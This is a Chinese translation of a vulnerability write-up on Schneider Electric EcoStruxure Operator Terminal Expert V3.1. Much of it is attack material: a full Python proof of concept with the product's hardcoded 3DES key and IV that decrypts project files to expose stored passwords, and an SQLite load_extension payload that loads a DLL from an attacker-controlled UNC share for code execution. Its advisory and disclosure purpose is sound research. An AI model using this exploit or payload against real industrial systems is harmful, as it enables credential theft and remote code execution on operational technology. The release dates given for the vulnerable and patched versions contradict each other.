0x01 漏洞描述
正如Cim在其博客中写的那样,即使进行加密,他也可以打包和解压缩项目文件,这是因为被修补的bug之一是用于加密和解密项目文件的硬编码加密密钥。
0x02 漏洞版本
先弄清楚哪些版本是存在漏洞的
· EcoStruxure Operator Terminal Expert V3.1.iso-SHA1 386312d68ba5e6a98df24258f2fbcfb2d8c8521b::
该版本易受攻击并于2019年12月20日发布。
· Installation_File_v3.1_SP1.zip-SHA1 229c8a5f9cdb1d63c2f9998d561a50a30e829d7a::
该版本不受攻击,于20/9/2019发行。
0x03 漏洞验证
项目文件(.vxdz)是可以提取的简单zip压缩文件。
saturn:~ mr_me$ unzip -d sample sample.vxdz Archive: sample.vxdz extracting: sample/Alarm.db extracting: sample/AllDataLogging.dat extracting: sample/contents.inf extracting: sample/Converters.dat extracting: sample/hierarchy.inf extracting: sample/Language.db extracting: sample/logging.dat extracting: sample/Project.dat extracting: sample/Recipe.Binding.dat extracting: sample/Recipe.db extracting: sample/RecipeControls.dat extracting: sample/scripts.inf extracting: sample/Security.db extracting: sample/SystemKeypad.inf extracting: sample/Target.Binding.dat extracting: sample/Target.dat extracting: sample/Validations.dat extracting: sample/Variables.db extracting: sample/Screens/panel1.binding.dat extracting: sample/Screens/panel1.dat extracting: sample/Scripts/panel0.binding.dat extracting: sample/Scripts/panel0.dat extracting: sample/[Content_Types].xml saturn:~ mr_me$ file sample/Security.db sample/Security.db: data saturn:~ mr_me$ strings sample/Security.db ]3uU B[]~ J|)o JdnAq ER$_0 pPQ$M
尝试确定.db文件的文件类型和/或检查其内容时,我们可以快速看到使用deflate加密和压缩了文件。通常,这不是问题,但是Security.db文件可以包含敏感信息,例如用户名和密码。
saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py [options ] (+) eg: ./poc.py sample.vxdz unpack (+) eg: ./poc.py sample.vxdz pack saturn:~ mr_me$ ./poc.py sample.vxdz unpack (+) unpacking to sample (+) unpacking: sample/Validations.dat (+) unpacking: sample/Screens/panel1.binding.dat (+) unpacking: sample/Recipe.Binding.dat (+) unpacking: sample/RecipeControls.dat (+) unpacking: sample/hierarchy.inf (+) unpacking: sample/Alarm.db (+) unpacking: sample/Recipe.db (+) unpacking: sample/Project.dat (+) unpacking: sample/Screens/panel1.dat (+) unpacking: sample/Language.db (+) unpacking: sample/scripts.inf (+) unpacking: sample/Target.Binding.dat (+) unpacking: sample/Target.dat (+) unpacking: sample/AllDataLogging.dat (+) unpacking: sample/logging.dat (+) unpacking: sample/Scripts/panel0.binding.dat (+) unpacking: sample/Scripts/panel0.dat (+) unpacking: sample/Converters.dat (+) unpacking: sample/Security.db (+) unpacking: sample/SystemKeypad.inf (+) unpacking: sample/Variables.db (+) unpacking: sample/contents.inf (+) unpacking: sample/[Content_Types].xml (+) unpacked and decrypted: sample.vxdz saturn:~ mr_me$ file sample/Security.db sample/Security.db: SQLite 3.x database, last written using SQLite version 3008010 saturn:~ mr_me$ strings sample/Security.db | grep admin admins admin09cfb7e71f097ebfed99e3ca3ba5d8b9e26162e19d03949566df9a12097d3bb2 adminthe master admin userThisIsASecretPassword!^L4G saturn:~ mr_me$
使用我们的PoC,可以在.vdxz文件中发现密码,并且在上面的示例中,我们可以看到密码ThisIsASecretPassword!
0x04 远程代码执行
在Checkpoint的博客文章中发布了SQLite fts3_tokenizer不可信指针远程执行代码漏洞(CVE-2019-8602)的详细信息。
SQLite二进制文件中不仅为EcoStruxure Operator Terminal Expert启用了FTS3扩展,而且还使用了过时的版本:3.8.10.2。。
事实证明,SQLite二进制文件sqlite3_load_extension也启用了接口,这意味着使用以下payload即可轻松执行远程代码:
select load_extension('\\attacker\calc.dll','DllMain');
0x05 漏洞补丁
施耐德在SP1中发布的补丁实质上是使用每个项目的密码来加密文件,而不是使用硬编码的加密密钥。
每个项目的密码警告:
此外,SP1中附带的SQLite二进制文件具有FTS3扩展名和sqlite3_load_extension接口已禁用。
0x06 分析结论
尽管没有发布CVE,但是如果在网络中发现.vdxz文件,则可以获取敏感信息。
完整PoC代码:
#!/usr/local/bin/python3 """ Schneider Electric EcoStruxure Operator Terminal Expert Hardcoded Cryptographic Key Information Disclosure Vulnerability SRC: SRC-2020-0010 CVE: N/A File: EcoStruxure Operator Terminal Expert V3.1.iso SHA1: 386312d68ba5e6a98df24258f2fbcfb2d8c8521b Download: https://download.schneider-electric.com/files?p_File_Name=EcoStruxure+Operator+Terminal+Expert+V3.1.iso """ import os import re import sys import glob import zlib import zipfile from Crypto.Cipher import DES3 # hardcoded values key = [ 202, 20, 221, 52, 225, 154, 5, 123, 111, 219, 11, 199, 145, 27, 200, 129, 254, 222, 253, 119, 213, 134, 72, 78 ] iv = [ 95, 21, 44, 250, 112, 73, 114, 155 ] des3 = [ 93, 51, 117, 85, 189, 76, 88, 200, 231, 127 ] plen = 8 def check_equal(iterator): # if all the values are the same then its padding... return len(set(iterator)) <= 1 def _inflate(decoded_data): return zlib.decompress(decoded_data, -15) def _deflate(string_val): compressed = zlib.compress(string_val) return compressed[2:-4] def delete_folder(top) : for root, dirs, files in os.walk(top, topdown=False): for name in files: os.remove(os.path.join(root, name)) for name in dirs: os.rmdir(os.path.join(root, name)) os.rmdir(top) def decrypt_file(filename): print("(+) unpacking: %s" % filename) decr = DES3.new(bytes(key), DES3.MODE_CBC, bytes(iv)) default_data = bytes([8, 8, 8, 8, 8, 8, 8, 8]) with open(filename, "rb") as f: if list(f.read(10)) == des3: encrypted = f.read() raw_data = decr.decrypt(encrypted) if not check_equal(list(raw_data)): raw_data = _inflate(raw_data) else: f.seek(0) raw_data = f.read() # now that we have the decrypted data, let's overwrite the file... with open(filename, "wb") as f: f.write(raw_data) def encrypt_file(filename): print("(+) packing: %s" % filename) encr = DES3.new(bytes(key), DES3.MODE_CBC, bytes(iv)) with open(filename, "rb") as f: packed_data = f.read() if not packed_data == bytes([8, 8, 8, 8, 8, 8, 8, 8]): packed_data = _deflate(packed_data) # padding for encryption, same as schneider pad = plen - (len(packed_data) % plen) # if we just have padding in there, then dont bother adding more padding now... if len(packed_data) != 8: for i in range(0, pad): packed_data += bytes([pad]) encr_data = bytes(des3) + encr.encrypt(packed_data) with open(filename, "wb") as f: f.write(encr_data) def unpack(project): z = os.path.abspath(project) output_dir = os.path.splitext(z)[0] print("(+) unpacking to %s" % output_dir) if os.path.exists(output_dir): print("(-) %s already exists!" % output_dir) return False zip_obj = zipfile.ZipFile(z, 'r') zip_obj.extractall(output_dir) zip_obj.close() # two levels deep, we can do more if we need to for file in list(set(glob.glob(output_dir + '/**/**/*.*', recursive=True))): decrypt_file(file) print("(+) unpacked and decrypted: %s" % project) def pack(project): z = os.path.abspath(project) output_dir = os.path.splitext(z)[0] # two levels deep, we can do more if we need to for file in list(set(glob.glob(output_dir + '/**/**/*.*', recursive=True))): if os.path.basename(file) != "[Content_Types].xml": encrypt_file(file) zf = zipfile.ZipFile(project, "w") for file in list(set(glob.glob(os.path.basename(output_dir) + '/**/**/*.*', recursive=True))): zf.write(file, "/".join(file.strip("/").split('/')[1:])) zf.close() delete_folder(output_dir) print("(+) packed and encrypted: %s" % project) def main(): if len(sys.argv) != 3: print("(+) usage: %s [options ]" % sys.argv[0]) print("(+) eg: %s sample.vxdz unpack" % sys.argv[0]) print("(+) eg: %s sample.vxdz pack" % sys.argv[0]) sys.exit(0) f = sys.argv[1] c = sys.argv[2] if c.lower() == "unpack": unpack(f) elif c.lower() == "pack": pack(f) else: print("(-) invalid option!") sys.exit(1) if __name__ == '__main__': main()
参考信息:
https://srcincite.io/advisories/src-2020-0010/
本文翻译自:https://srcincite.io/blog/2020/02/18/silent-schneider-revealing-a-hidden-patch-in-ecostruxure-operator-terminal-expert.html如若转载,请注明原文地址: